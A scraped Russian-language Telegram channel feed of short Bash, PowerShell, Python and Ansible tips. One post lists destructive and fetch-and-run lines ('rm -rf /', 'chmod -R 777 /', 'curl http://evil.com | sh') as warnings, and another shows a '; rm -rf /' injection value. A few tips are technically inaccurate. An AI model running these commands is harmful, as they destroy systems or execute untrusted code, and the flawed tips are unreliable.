Helcode | Хелкод | Скрипты и автоматизация
993 subscribers
52 photos
34 links
☎️ Контакты для связи: @helcodeadm
Download Telegram
Почему Write-Host — это мусор?

Вы пишете Write-Host "Hello, world!", а потом не можете перенаправить вывод в файл или передать в конвейер. Потому что Write-Host не возвращает данные, а просто печатает в консоль.

Как правильно:
# Используйте Write-Output для передачи данных
Write-Output "Hello" | Out-File log.txt

# Или Start-Transcript для полного логирования
Start-Transcript -Path "session.log"



- Write-Output отправляет объекты в конвейер.
- Start-Transcript записывает весь сеанс PowerShell.

Кто-нибудь использует Write-Verbose или Write-Debug? Поделитесь примерами!

Write-Host — это как кричать в пустоту. А Write-Output — как оставить записку для будущего себя.

🌐 @automate_today | #powershell
👍4
Как парсить JSON без боли?

Вы парсите JSON в PowerShell через ConvertFrom-Json, но он медленный и неудобный для сложных структур.

Решение:
# Если нужна скорость — используйте Newtonsoft.Json
Install-Package Newtonsoft.Json -Force
$json = '{"name": "DeepSeek", "version": "1.0"}'
[Newtonsoft.Json.Linq.JObject]::Parse($json).GetValue("name")



- ConvertFrom-Json удобен, но медленный на больших файлах.
- Newtonsoft.Json (он же Json.NET) — быстрее и мощнее.

Кто-нибудь использует System.Text.Json в PowerShell? Есть ли преимущества?

ConvertFrom-Json — это как разбирать JSON ножницами. ✂️ Newtonsoft.Json — как бензопилой. 🔥


🌐 @automate_today | #powershell
👍4
Почему `[ ]` — это устарело?

Вы пишете if [ $a -eq 1 ], но это медленно, небезопасно и не поддерживает современные фичи.

Решение:

# Вместо [ ] используйте [[ ]] для строк и (( )) для чисел
if [[ "$str" == *"подстрока"* ]]; then
echo "Найдено!"
fi

if (( num > 10 )); then
echo "Число больше 10"
fi



- [[ ]] безопаснее (не требует кавычек), быстрее и мощнее.
- (( )) — для арифметики.

Кто-нибудь использует `case` вместо `if`? Покажите примеры!

`[ ]` — это как телефон с кнопками.
А `[[ ]]` — как смартфон. 📱


🌐 @automate_today | #bash
👍41
Почему cron — это не всегда надежно?

Вы поставили задачу в cron, но она не выполнилась, потому что сервер спал или время сбилось.

Альтернативы:
# systemd.timer (для Linux)
[Unit]
Description=Run my script every day

[Timer]
OnCalendar=daily
Persistent=true

[Install]
WantedBy=timers.target



- systemd.timer учитывает пропущенные запуски (Persistent=true).
- anacron — для ноутбуков (не требует 24/7 работы).

Кто-нибудь использует airflow или celery beat для сложного планирования?

cron — это будильник, который не звонит, если вы спите.

🌐 @automate_today | #bash
👍41
5 способов сломать продакшен Bash-скриптом (и как этого избежать)

🦾 Bash — мощный, но опасный инструмент. Одна опечатка — и ваш скрипт удалит логи вместо их ротации, положит сервер или отправит спам всей компании.

Примеры катастроф:
rm -rf / ${SOME_VARIABLE}/   # Если $SOME_VARIABLE пуста, удалится корень  
chmod -R 777 / # Все файлы доступны всем (включая злоумышленников)
curl http://evil.com | sh # Запуск непроверенного кода из интернета



Как избежать:
- set -euo pipefail — прерывать скрипт при ошибках.
- Всегда проверять переменные: rm -rf "${DIR:?}/logs".
- Тестировать в песочнице (Docker, виртуалка).

А у вас были эпичные падения из-за Bash?

🌐 @automate_today | #bash
👍4
Как переименовать 1000 файлов без циклов?

Циклы в Bash медленные. Если переименовываете кучу файлов — есть способ быстрее!

Решение:
# Переименовать все .txt в .md  
rename 's/\.txt$/.md/' *.txt

# Или через mmv (если нет rename):
mmv "*.old" "#1.new"



- rename и mmv работают за один вызов, а не тысячу.
- Нет риска "зацикливания" из-за ошибки в условиях.

Какие ещё хитрости для работы с файлами используете?

Если ваш скрипт переименовывает файлы дольше, чем создание вселенной — что-то не так.


🌐 @automate_today | #bash
🔥5
Скрипт для автоматического бэкапа MySQL

Ручные бэкапы — это как ходить по канату без страховки. Автоматизируем!

👩‍🔬 Решение:
#!/bin/bash  
BACKUP_DIR="/backups/mysql"
DATE=$(date +%Y%m%d)
mysqldump -u user -p"password" db_name | gzip > "$BACKUP_DIR/db_name_$DATE.sql.gz"

# Проверяем успешность и шлём алерт
if [ $? -eq 0 ]; then
echo "Backup OK" | sendmail admin@example.com
else
echo "Backup FAILED!" | sendmail admin@example.com
fi



🔧 Дополнения:
- Добавьте find $BACKUP_DIR -type f -mtime +30 -delete для удаления старых бэкапов.
- Используйте cron для запуска по расписанию.

Как вы организуете бэкапы? Храните на облаке или локально?

🌐 @automate_today | #bash
1👍1
Почему && лучше, чем ;?

command1; command2 выполнит обе команды, даже если первая упала. && — только если первая успешна.

🛠 Пример:
cd /nonexistent_dir && rm -rf *  # Удаление не сработает (и это хорошо!)  



Где ещё полезно:
- make && make test — не запускать тесты, если сборка провалилась.
- git pull && npm install — не ставить зависимости, если обновление репы не удалось.

Какие ещё операторы в Bash вы часто используете?

Использовать ; вместо && — это как прыгать с парашютом, не проверив, есть ли он за спиной.


🌐 @automate_today | #bash
Как ускорить PowerShell-скрипты в 5 раз?

PowerShell может тормозить, особенно в циклах. Но есть приёмы для ускорения!

🛠 Способ:
# Медленно:  
Get-Content bigfile.txt | ForEach-Object { $_ -replace "old", "new" }

# Быстро:
(Get-Content bigfile.txt) -replace "old", "new"

# Ещё быстрее (для гигантских файлов):
$reader = [System.IO.StreamReader]::new("bigfile.txt")
while ($line = $reader.ReadLine()) { $line -replace "old", "new" }
$reader.Close()



Почему:
- Конвейер (|) добавляет накладные расходы.
- StreamReader читает файл построчно без загрузки в память целиком.

А какие оптимизации PowerShell вы применяете?

🌐 @automate_today | #powershell
👍3
Почему Get-Content тормозит?

📖 Вы читаете лог-файл в 10 ГБ через Get-Content, а PowerShell зависает на час. В чём проблема?

Get-Content загружает весь файл в память перед обработкой. Для больших файлов — это убийственно.

🛠 Решение:
# Медленно:  
$lines = Get-Content "huge.log" # Тормозит и жрёт память

# Быстро (чтение построчно):
$reader = [System.IO.StreamReader]::new("huge.log")
while ($line = $reader.ReadLine()) {
# Обрабатываем $line здесь
}
$reader.Close()



Почему это лучше:
- StreamReader читает файл потоково, без загрузки в память.
- Подходит для гигабайтных логов.

А как вы обрабатываете огромные файлы? Делитесь лайфхаками!

Get-Content для больших файлов — как пытаться выпить океан через трубочку.


🌐 @automate_today | #powershell
👍3
Почему sleep(1) в скриптах — признак лени?

Вы добавили sleep 5 в скрипт, чтобы «подождать завершения процесса». Но мир знает лучшие способы!

Проблемы sleep:
- Точное время ожидания неизвестно (может быть 1 сек, а может и 10).
- Блокирует выполнение скрипта впустую.

Альтернативы:
# Вместо sleep:  
until ps aux | grep -q "[p]rocess_name"; do sleep 0.5; done # Ждём завершения

# Или в Python:
from watchdog.observers import Observer # Реагировать на изменения файлов



Когда sleep допустим:
- Только для демо-кода или тестов.
- Если альтернатив действительно нет (но это редкость).

Как вы организуете ожидание в скриптах?


🌐 @automate_today | #bash
👍6
Скрипт для автоматического удаления неиспользуемых импортов

В Python-проекте накопились import os, sys, re, pandas, numpy, tensorflow, хотя используется только os. Пора навести порядок!

Решение:
# Удаляем неиспользуемые импорты:  
pip install autoflake
autoflake --remove-all-unused-imports -r --in-place ./

# Сортируем оставшиеся (опционально):
pip install isort
isort .



Почему это важно:
- Чистый код = меньше багов.
- Меньше зависимостей = быстрее установка.

Какие инструменты для чистки кода используете вы?

Неиспользуемые импорты — как носки, которые ты давно не носил, но всё ещё хранишь.


🌐 @automate_today | #bash
👍3
Как заставить PowerShell приносить тебе кофе? Ну почти…

🛠 PowerShell может автоматизировать что угодно — даже отправлять сообщения в Telegram или включать умный чайник.

Пример:
# Отправляем уведомление (через Telegram Bot API):  
$token = "YOUR_BOT_TOKEN"
$chat_id = "YOUR_CHAT_ID"
$message = "Кофе готов! 🚀"
Invoke-RestMethod -Uri "https://api.telegram.org/bot$token/sendMessage?chat_id=$chat_id&text=$message"



💡Идеи для автоматизации:
- Скрипт, который пишет вам, когда заканчивается CI/CD-пайплайн.
- Уведомление, если сервер падает.

Что бы вы автоматизировали в повседневной жизни?

🌐 @automate_today | #powershell
1👍2
Эта Bash-команда спасла мне пятницу. Делюсь!

🕓 Иногда одна команда экономит часы ручной работы.

🛟 Спасительная команда:
# Найти все дубликаты файлов по хешу:  
find . -type f -exec md5sum {} + | sort | uniq -w32 -dD



Как это работает:
1. find ищет все файлы.
2. md5sum считает хеш.
3. uniq -dD показывает только дубликаты.

А какие команды вас выручали?

Как отличить senior от junior? Junior удаляет дубликаты вручную.


🌐 @automate_today | #bash
1🔥2👍1
Почему ваш Python-скрипт работает медленно? Возможно, вы делаете эти 3 ошибки.

Скрипт должен отрабатывать за секунду, но работает минуту. В чём дело?

Типичные ошибки:
1. Использование for вместо map/list comprehensions:

   # Медленно:  
result = []
for x in range(10_000):
result.append(x * 2)

# Быстрее:
result = [x * 2 for x in range(10_000)]



2. Чтение файла построчно без буферизации:

   # Медленно:  
with open("file.txt") as f:
for line in f:
process(line)

# Быстрее (если файл помещается в память):
with open("file.txt") as f:
lines = f.readlines() # Чтение за один вызов



3. Использование global в циклах:

   # Медленно:  
global_var = 0
def update():
global global_var
global_var += 1

# Лучше: передавать переменную как аргумент.



Какие ещё узкие места в Python вы знаете?


🌐 @automate_today | #python
21👍2
Ansible: как не сломать все сервера разом

🛠 Ansible — мощный инструмент, но одна ошибка в плейбуке может привести к массовому апокалипсису.

Как избежать катастроф:
1. Всегда использовать --check перед запуском:

   ansible-playbook playbook.yml --check --diff


2. Ограничивать выполнение конкретными хостами:

   ansible-playbook playbook.yml --limit "web-servers"



3. Не использовать shell или command без changed_when:

   - name: "Опасная команда"  
command: rm -rf /tmp/*
changed_when: false # Иначе Ansible будет считать задачу «изменившей» систему


Какие best practices по Ansible используете вы?


Запускать Ansible без --check — это как играть в рулетку со всеми серверами сразу.


🌐 @automate_today | #bash
1👍2
subprocess.​run() vs os.system(): битва на миллион долларов

os.system("ping " + user_input) — звучит невинно, пока в user_input не окажется ; rm -rf /.

Чем плох os.system?
- Не контролирует аргументы (уязвимость к shell-инъекциям).
- Возвращает только код выхода (а stdout/stderr — в никуда).

Как правильно?
import subprocess

# Безопасно, даже если user_input = "8.8.8.8; rm -rf /"
result = subprocess.run(["ping", "-c", "4", user_input], capture_output=True, text=True)
print(result.stdout)



Почему это важно?
- Аргументы передаются списком — шелл их не интерпретирует.
- Можно ловить вывод, проверять коды ошибок.

subprocess — это как шелл, но с seatbelt.

👉 Вы тоже когда-то использовали os.system?

🌐 @automate_today | #python
10👍21🔥1
Почему dict.get() — это не всегда хорошо?

dict.get(key, default) — классика, но…

Проблема 1: Если default — тяжёлый объект (например, запрос в БД), он создаётся даже когда ключ есть!
# Плохо: get_user() вызовется в любом случае
value = my_dict.get(key, get_user())



Решение: defaultdict или try/except
from collections import defaultdict

d = defaultdict(get_user) # get_user() только если ключа нет
value = d[key]



Проблема 2: get() маскирует ошибки. Если ключ должен быть, лучше явное KeyError:
try:
value = my_dict[key] # Чётко видно проблему
except KeyError:
logger.error("Ключ отсутствует!")



👉 Какой подход используете вы?


🌐 @automate_today | #python
5👍3
Почему __init__.py — это не просто пустой файл?

Раньше __init__.py был маркером «тут есть Python-модуль». Но сейчас он может:

1. Контролировать импорты
# __init__.py
from .utils import clean_data # Импорт при загрузке пакета
__all__ = ["clean_data"] # Что будет доступно при from package import *



2. Хранить общий код (инициализация БД, кэширование).

3. Ленивая загрузка (ускорение старта):
def expensive_function():
from .heavy_module import stuff # Импорт только при вызове



👉 А вы используете all или просто кидаете всё в __init__.py?

🌐 @automate_today | #python
5👍21
Скрипт для автоматического рестарта зависших процессов

psutil + Telegram-бот = спасённые выходные

import psutil
import requests

def check_process(process_name):
for proc in psutil.process_iter(['name']):
if proc.info['name'] == process_name and proc.status() == 'zombie':
proc.kill()
requests.post(TELEGRAM_API, json={"text": f"Убил {process_name}!"})

# Запускаем каждые 5 минут (cron или systemd)



Фишки:
- psutil — кросс-платформенный (работает и на Linux, и на Windows).
- Можно добавить логику «если процесс грузит CPU > 90%».

👉 Как вы мониторите процессы?


🌐 @automate_today | #python
3👍3🔥1